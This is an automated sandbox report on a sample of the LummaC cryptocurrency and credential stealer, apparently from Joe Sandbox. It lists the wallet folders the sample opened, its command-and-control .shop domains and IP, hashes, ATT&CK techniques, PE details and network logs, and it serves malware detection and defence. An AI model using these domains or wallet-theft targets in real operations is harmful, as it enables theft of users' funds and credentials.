Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7132, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TS-240622-Lumma4.exe	45%	ReversingLabs	Win32.Trojan.Generic
TS-240622-Lumma4.exe	50%	Virustotal		Browse
TS-240622-Lumma4.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
composepayyersellew.shop	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
facilitycoursedw.shop	0%	Avira URL Cloud	safe
leafcalfconflcitw.shop	100%	Avira URL Cloud	malware
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
http://ocsp.entrust.net02	0%	Avira URL Cloud	safe
https://composepayyersellew.shop/	0%	Avira URL Cloud	safe
composepayyersellew.shop	0%	Avira URL Cloud	safe
publicitycharetew.shop	0%	Avira URL Cloud	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	Avira URL Cloud	safe
https://composepayyersellew.shop/api0	0%	Avira URL Cloud	safe
https://composepayyersellew.shop/	2%	Virustotal		Browse
http://aia.entrust.net/ts1-chain256.cer01	0%	Virustotal		Browse
facilitycoursedw.shop	12%	Virustotal		Browse
computerexcudesp.shop	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Avira URL Cloud	safe
computerexcudesp.shop	9%	Virustotal		Browse
doughtdrillyksow.shop	0%	Avira URL Cloud	safe
disappointcredisotw.shop	0%	Avira URL Cloud	safe
composepayyersellew.shop	2%	Virustotal		Browse
http://www.entrust.net/rpa03	0%	Virustotal		Browse
bargainnygroandjwk.shop	0%	Avira URL Cloud	safe
leafcalfconflcitw.shop	9%	Virustotal		Browse
injurypiggyoewirog.shop	0%	Avira URL Cloud	safe
doughtdrillyksow.shop	13%	Virustotal		Browse
https://www.entrust.net/rpa0	0%	Avira URL Cloud	safe
https://composepayyersellew.shop/api	0%	Avira URL Cloud	safe
bargainnygroandjwk.shop	9%	Virustotal		Browse
https://composepayyersellew.shop/api4	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Virustotal		Browse
injurypiggyoewirog.shop	9%	Virustotal		Browse
publicitycharetew.shop	9%	Virustotal		Browse
https://composepayyersellew.shop/api	9%	Virustotal		Browse
https://www.entrust.net/rpa0	0%	Virustotal		Browse
disappointcredisotw.shop	9%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
composepayyersellew.shop	104.21.49.90	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
leafcalfconflcitw.shop	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
facilitycoursedw.shop	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
composepayyersellew.shop	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
publicitycharetew.shop	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
computerexcudesp.shop	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
doughtdrillyksow.shop	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
disappointcredisotw.shop	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
bargainnygroandjwk.shop	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
injurypiggyoewirog.shop	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://composepayyersellew.shop/api	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ocsp.entrust.net03	TS-240622-Lumma4.exe	false	URL Reputation: safe	unknown
http://ocsp.entrust.net02	TS-240622-Lumma4.exe	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	TS-240622-Lumma4.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://composepayyersellew.shop/	RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	TS-240622-Lumma4.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://composepayyersellew.shop/api0	RegAsm.exe, 00000002.00000002.1348114709.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/ts1ca.crl0	TS-240622-Lumma4.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	TS-240622-Lumma4.exe	false	URL Reputation: safe	unknown
https://www.entrust.net/rpa0	TS-240622-Lumma4.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://composepayyersellew.shop/api4	RegAsm.exe, 00000002.00000002.1348114709.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.49.90	composepayyersellew.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1461071
Start date and time:	2024-06-22 10:16:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	TS-240622-Lumma4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 38 Number of non-executed functions: 121
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:17:05	API Interceptor	7x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.49.90	Launcher!.exe	Get hash	malicious	LummaC	Browse
104.21.49.90	http://gsmgoodssk.life	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
composepayyersellew.shop	Launcher!.exe	Get hash	malicious	LummaC	Browse	104.21.49.90

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://th.sparrow-golf.com/index.php/campaigns/tz181hd4n20e8/track-url/ab370qhrl0e77/39494c72ffac678ff4c07d71b9274c7f79918666	Get hash	malicious	Unknown	Browse	172.67.147.84
	Hecker Glastechnik - Bestellung #009449 PDF.wsf	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	d43YUxXAW7.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
	Vessel Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	NEW ORDER.docx.doc	Get hash	malicious	Unknown	Browse	104.21.26.96
	SecuriteInfo.com.Trojan.Siggen16.24785.7080.9620.exe	Get hash	malicious	Unknown	Browse	104.26.3.111
	NEW ORDER.docx.doc	Get hash	malicious	Unknown	Browse	104.21.26.96
	SecuriteInfo.com.Trojan.Siggen16.24785.7080.9620.exe	Get hash	malicious	Unknown	Browse	172.67.70.154
	scan@griffinky.com_John (1).pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	SecuriteInfo.com.Win64.MalwareX-gen.32668.23286.exe	Get hash	malicious	Unknown	Browse	104.26.0.5

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	NEW ORDER.docx.doc	Get hash	malicious	Unknown	Browse	104.21.49.90
	https://bcr.serviciul.com/	Get hash	malicious	Unknown	Browse	104.21.49.90
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	104.21.49.90
	SecuriteInfo.com.Script.SNH-gen.23298.6936.xlsx	Get hash	malicious	Unknown	Browse	104.21.49.90
	SecuriteInfo.com.FileRepMalware.3625.5069.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	104.21.49.90
	Form_Ver-13-59-03 (1).js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	104.21.49.90
	93.bin.exe	Get hash	malicious	LummaC	Browse	104.21.49.90
	phish_alert_sp2_2.0.0.0 (8).eml	Get hash	malicious	Unknown	Browse	104.21.49.90
	ulvjLo6GrS.exe	Get hash	malicious	LummaC	Browse	104.21.49.90
	U prilogu lista novih narudzbi.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.49.90

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.518137729193079
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	TS-240622-Lumma4.exe
File size:	611'368 bytes
MD5:	1a2a26995d43c4ad2f2c9e9e9373d5c8
SHA1:	bc9592e1846b06b6e770d443c3802a887fb92987
SHA256:	e5fd7cc5b7c23ab6d037e40cd141d49cffe8fdec8c9ce691b6689dfe6222982c
SHA512:	b7138aaef1d2e98c898983fdc5e2255f965e6c1a03fd8b01fe22197f23f61c8e237ce15b582f50d28e64e312a6f565c0d8a13efeeb83a898bd2f2b75165d9743
SSDEEP:	12288:y58K1Ff7F68gwFVUHWtOhYQ6YtQRkl904F2VHCU8MAwWoTVLiPgsFEO:y51bCYUHR/j0kzUVHCBwhTkt
TLSH:	01D4E1017680A036FCB315778FFF966D967CF9600B1925DBA3C8196ECF619E1BA30606
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h.R.,.<.,.<.,.<...?.>.<...9...<...8.:.<.. 8.>.<...=.%.<.,.=...<.. 9.r.<.. ?.4.<..#5.-.<..#<.-.<..#>.-.<.Rich,.<................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4171fb
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675E9D9 [Fri Jun 21 21:00:09 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	9a3c5d45d0f2beee4c21552d9339bf74

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007FBB04FDE6B7h
jmp 00007FBB04FDDC7Fh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007FBB04FDD822h
jmp 00007FBB04FDDDE2h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00446140h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00446140h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00446140h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x451b0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x45200	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x92e00	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x94000	0x2680	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x41e98	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x41ec0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x41dd8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x39000	0x180	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x374bd	0x37600	3457d1e1a1fd97682c3b76d13b831f95	False	0.5099552059819413	data	6.491881070409321	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x39000	0xcb06	0xcc00	9b680e5995caafb6bbbe1ce71ee11084	False	0.41877297794117646	data	4.953306315436443	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x46000	0x4cbcc	0x4ba00	56d6ed0ff6f65fd635e37bc3285a326f	False	0.9821248708677686	data	7.986375387711636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.BSs	0x93000	0x543	0x600	d1c6db39d5ab441c243318096ed67857	False	0.5579427083333334	data	5.5916098274429205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x94000	0x2680	0x2800	0704750ef21c3c45eb1e5c1179cc5d28	False	0.7287109375	data	6.4339307454096994	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
GDI32.dll	Polyline
USER32.dll	OffsetRect
ADVAPI32.dll	DeleteAce, GetNumberOfEventLogRecords
KERNEL32.dll	WriteConsoleW, SetStdHandle, CreateFileW, HeapSize, VirtualAlloc, WaitForSingleObject, CreateThread, RaiseException, GetCurrentThreadId, IsProcessorFeaturePresent, GetLastError, FreeLibraryWhenCallbackReturns, CreateThreadpoolWork, SubmitThreadpoolWork, CloseThreadpoolWork, GetModuleHandleExW, MultiByteToWideChar, WakeAllConditionVariable, SleepConditionVariableSRW, InitOnceComplete, InitOnceBeginInitialize, GetStringTypeW, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, TryAcquireSRWLockExclusive, WideCharToMultiByte, CloseHandle, QueryPerformanceCounter, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsDebuggerPresent, GetStartupInfoW, GetCurrentProcessId, InitializeSListHead, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleFileNameW, GetStdHandle, WriteFile, GetFileSizeEx, SetFilePointerEx, GetFileType, HeapAlloc, HeapFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, SetEndOfFile

Exports

Name	Ordinal	Address
IUAhsiuchniuohAIU	1	0x406da0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 22, 2024 10:17:04.799828053 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:04.799870968 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:04.799949884 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:04.801796913 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:04.801811934 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.285140991 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.285295963 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.289350986 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.289361000 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.289562941 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.332566023 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.332994938 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.333024025 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.333081007 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.724387884 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.724474907 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.724523067 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.742774963 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.742799997 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.742813110 CEST	49703	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.742819071 CEST	443	49703	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.747729063 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.747750998 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:05.747808933 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.748100996 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:05.748111010 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.224363089 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.224520922 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.230519056 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.230530977 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.230801105 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.233187914 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.233202934 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.233247042 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620337009 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620374918 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620408058 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620425940 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.620451927 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620493889 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620496035 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.620503902 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620553017 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.620558977 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620733023 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.620767117 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.620770931 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.621023893 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.621057034 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.621061087 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.625045061 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.625098944 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.625111103 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.676593065 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.715965986 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716170073 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716245890 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.716259003 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716289043 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716345072 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.716376066 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716676950 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716732979 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.716782093 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.716800928 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.716810942 CEST	49704	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.716815948 CEST	443	49704	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.798633099 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.798733950 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:06.798918009 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.805536985 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:06.805572033 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.272959948 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.273191929 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.274158955 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.274185896 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.274499893 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.275635004 CEST	49705	443	192.168.2.7	104.21.49.90
